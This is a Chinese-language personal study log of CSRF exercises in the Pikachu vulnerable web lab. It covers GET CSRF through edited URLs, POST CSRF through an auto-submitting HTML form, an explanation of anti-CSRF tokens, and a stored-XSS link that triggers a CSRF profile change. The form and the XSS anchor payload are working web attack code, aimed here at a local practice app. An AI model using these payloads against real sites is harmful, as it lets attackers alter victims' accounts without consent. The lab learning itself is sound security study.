csrf学习记录
csrf学习记录
pikachu
csrf get
来到pikachu页面
这是虚拟机
根据提示vince/123456登陆,看到修改信息
随便填写,bp抓包
因为试get请求,信息都在url里面,可以尝试修改url参数
copy url后,发送给本机打开
这是本机
本机信息情况
get 类型的csrf完成
csrf post
前面的不赘述
直接抓包,看到修改信息的请求在请求体里,是post请求
这里不在请求头就无法使用第一种办法了,攻击者要自己构造页面,诱导用户点击
<!DOCTYPE html>
<html>
<head lang="en">
<title>csrf_post</title>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="text" name="sex" value="1"><br>
<input type="hidden" name="phonenum" value="hacker"><br>
<input type="hidden" name="add" value="china"><br>
<input type="hidden" name="email" value="hacker"><br>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
发送用户,这是用户电脑
我这里是firefox浏览器打开
打开后,可以看到信息被修改
完成csrf post
csrf token
CSRF的主要问题是敏感操作的链接容易被伪造每次请求,都增 加一个随机码(需要够随机,不容易伪造),后台每次对随机码进行验证网页接受从后台发过来的token,类型不可见。将其一并提交给后台进行验证。每次刷新,后台发送过来的token都不一样,起到了防止伪造的作用。
可以看到每一次都不一样,从根本上杜绝了csrf
csrf配合xss
利用存储型xss,修改个人信息,抓包
更改数据,copy url
http://192.168.0.109/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=666&phonenum=3&add=3&email=3&submit=submit
来到xss页面(存储型xss),随便输入111
构造payload:
<a href=http://192.168.0.109/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=hacker&phonenum=hacker&add=hacker&email=hacker&submit=submit>点一下试试??</a>
黑客在该网站植入恶意代码,有一天,vince正常修改信息,看到下面有一个 ”点一下试试“
点击一下
xss配合csrf简单完成小实验,加油吧!!!